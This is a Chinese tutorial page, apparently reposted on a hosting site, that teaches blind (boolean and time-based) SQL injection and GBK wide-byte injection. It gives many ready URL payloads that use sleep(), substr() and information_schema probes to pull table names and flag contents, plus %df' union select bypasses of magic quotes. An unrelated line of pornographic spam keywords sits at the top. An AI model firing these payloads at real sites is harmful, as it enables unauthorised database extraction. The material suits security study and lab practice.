五月综合激情婷婷六月,日韩欧美国产一区不卡,他扒开我内裤强吻我下面视频 ,无套内射无矿码免费看黄,天天躁,日日躁,狠狠躁

新聞動(dòng)態(tài)

SQL注入篇學(xué)習(xí)之盲注/寬字節(jié)注入

發(fā)布日期:2022-07-15 19:42 | 文章來源:腳本之家

盲注

有時(shí)目標(biāo)存在注入,但在頁面上沒有任何回顯,此時(shí),我們需要利用一些方法進(jìn)行判斷或者嘗試得到數(shù)據(jù),這個(gè)過程稱之為盲注。

時(shí)間盲注其實(shí)和布爾盲注其實(shí)沒有什么太大的區(qū)別,只不過是一個(gè)依靠頁面是否正常判斷,一個(gè)是否延時(shí)判斷,在操作上其實(shí)也差不多,只不過時(shí)間注入多一個(gè)if()

布爾盲注

布爾很明顯就是true和false,也就是說它只會(huì)根據(jù)信息返回true和false,也就是沒有了之前的報(bào)錯(cuò)信息。

時(shí)間盲注

界面返回值只有一種true,無論輸入任何值,返回情況都會(huì)按照正常的來處理。加入特定的時(shí)間函數(shù),通過查看web頁面返回的時(shí)間差來判斷注入的語句是否正確。

盲注函數(shù)

length() 函數(shù) 返回字符串的長(zhǎng)度

?id=1 and length(database())>1

substr() 截取字符串 , 從第一位截取一個(gè)

?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii碼

?id=1 and ord(substr(database(),1,1))=107

limit 0,1 顯示第一條

substr(截取的內(nèi)容,截取的位數(shù),截取的個(gè)數(shù))

substr(database(),1,1) 顯示第一位字符

時(shí)間型:sleep(n) 將程序掛起一段時(shí)間,n為n秒

if(expr1,expr2,expr3) 判斷語句 如果第一個(gè)語句正確就執(zhí)行第二個(gè)語句,如果錯(cuò)誤執(zhí)行第三個(gè)語句

?id=1' and if(length(database())=8,1,sleep(5))-- +

演示語句

猜數(shù)據(jù)庫(kù)的長(zhǎng)度;
?id=1 and (length(database()))>11#
猜測(cè)數(shù)據(jù)庫(kù)的庫(kù)名:
?id=1 and ascii(substr(database(),1,1))>1#
猜表名(示例為查詢第一個(gè)表名)
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6     //注意括號(hào)問題
and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l'     
猜第一個(gè)字段名第一個(gè)字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i'  
猜第一個(gè)字段名第二個(gè)字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i'  

猜第二個(gè)字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'#  
猜字段中的內(nèi)容:
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122
時(shí)間盲注猜測(cè)數(shù)據(jù)庫(kù)的長(zhǎng)度:
?id=1" and if(length(database())=12,sleep(5),1) -- +
猜測(cè)數(shù)據(jù)庫(kù)的庫(kù)名:
if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
猜測(cè)數(shù)據(jù)庫(kù)中表的長(zhǎng)度:
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +
猜測(cè)數(shù)據(jù)庫(kù)中的表名:
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +
猜測(cè)表中的字段名的長(zhǎng)度:
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- +
猜測(cè)表中的字段名:
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- +
猜測(cè)字段中內(nèi)容的長(zhǎng)度:
?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +
猜測(cè)字段中的內(nèi)容:
?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +

burp抓包演示

先判斷長(zhǎng)度,再判斷內(nèi)容

寬字節(jié)注入

php魔術(shù)函數(shù)

  • magic_quotes_gpc(魔術(shù)引號(hào)開關(guān))——> 防御sql注入
  • magic_quotes_gpc函數(shù)在php中的作用是判斷解析用戶提交的數(shù)據(jù),如包括有:post、get、cookie過來的數(shù)據(jù)增加轉(zhuǎn)義字符“\”,以確保這些數(shù)據(jù)不會(huì)引起程序,特別是數(shù)據(jù)庫(kù)語句因?yàn)樘厥庾址鸬奈廴径霈F(xiàn)致命的錯(cuò)誤,防止注入使其無法閉合。
  • 單引號(hào)(’)、雙引號(hào)(”)、反斜線(\)等字符都會(huì)被加上反斜線

開啟方式

php在版本5.4開始將魔術(shù)引號(hào)的設(shè)置轉(zhuǎn)化為特定函數(shù)addalashes()使用,$b = addcslashes($_REQUEST[8]);不在配置文件中打開【原因是將安全編碼交給了用戶自己,避免用戶過度依賴造成安全隱患】,或者在php.ini中修改。

開啟效果

作用

當(dāng)PHP的傳參中有特殊字符就會(huì)再前面加轉(zhuǎn)義字符’\’,來做一定的過濾

繞過方法

單引號(hào)和雙引號(hào)內(nèi)的一切都是字符串,那我們輸入的東西如果不能閉合掉單引號(hào)和雙引號(hào),我們的輸入就不會(huì)當(dāng)作代碼執(zhí)行,就無法產(chǎn)生SQL注入,那我們?cè)撛趺崔k?

  • 不需要閉合
  • 仔細(xì)查看作用域(POST、GET、COOKIE),$_SERVER就在作用域之外。
  • 寬字節(jié)注入

寬字節(jié)注入

盡管現(xiàn)在呼吁所有的程序都使用unicode編碼,所有的網(wǎng)站都使用utf-8編碼,來一個(gè)統(tǒng)一的國(guó)際規(guī)范。但仍然有很多,包括國(guó)內(nèi)及國(guó)外(特別是非英語國(guó)家)的一些cms,仍然使用著自己國(guó)家的一套編碼,比如我國(guó)的gbk、gb2312,作為自己默認(rèn)的編碼類型。也有一些cms為了考慮老用戶,推出了gbk和utf-8兩個(gè)版本(例如:dedecms)
我們就以gbk字符編碼為例,拉開帷幕。GBK【雙字符編碼】全稱《漢字內(nèi)碼擴(kuò)展規(guī)范》,gbk是一種多字符編碼【多個(gè)字符組在一起成為一個(gè)字】。他使用了雙字節(jié)編碼方案,因?yàn)殡p字節(jié)編碼所以gbk編碼漢字,占用2個(gè)字節(jié)。一個(gè)utf-8編碼的漢字,占用3個(gè)字節(jié)。

  • 核心:傳一個(gè)字符將反斜杠吃掉成為漢字
  • 數(shù)據(jù)庫(kù)使用GBK編碼可能存在寬字節(jié)注入
  • MySql的編碼設(shè)置:SET NAMES 'gbk'或是 SET character_set_client =gbk
  • 寬字節(jié)SQL注入就是PHP發(fā)送請(qǐng)求到MySql時(shí)使用了語句
  • SET NAMES 'gbk' 或是SET character_set_client =gbk 進(jìn)行了一次編碼,但是又由于一些不經(jīng)意的字符集轉(zhuǎn)換導(dǎo)致了寬字節(jié)注入。
  • %df \、%9c \ ——>漢字
  • 繞過其中的單引號(hào)等字符,除了采用嵌套法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
  • 也可以采用十六進(jìn)制標(biāo)識(shí)法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
  • 寬字節(jié)注入可以直接傳入漢字

總結(jié)

到此這篇關(guān)于SQL注入篇學(xué)習(xí)之盲注/寬字節(jié)注入的文章就介紹到這了,更多相關(guān)SQL盲注/寬字節(jié)注入內(nèi)容請(qǐng)搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!

國(guó)外穩(wěn)定服務(wù)器

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開通

自選配置、實(shí)時(shí)開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對(duì)1客戶咨詢顧問

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部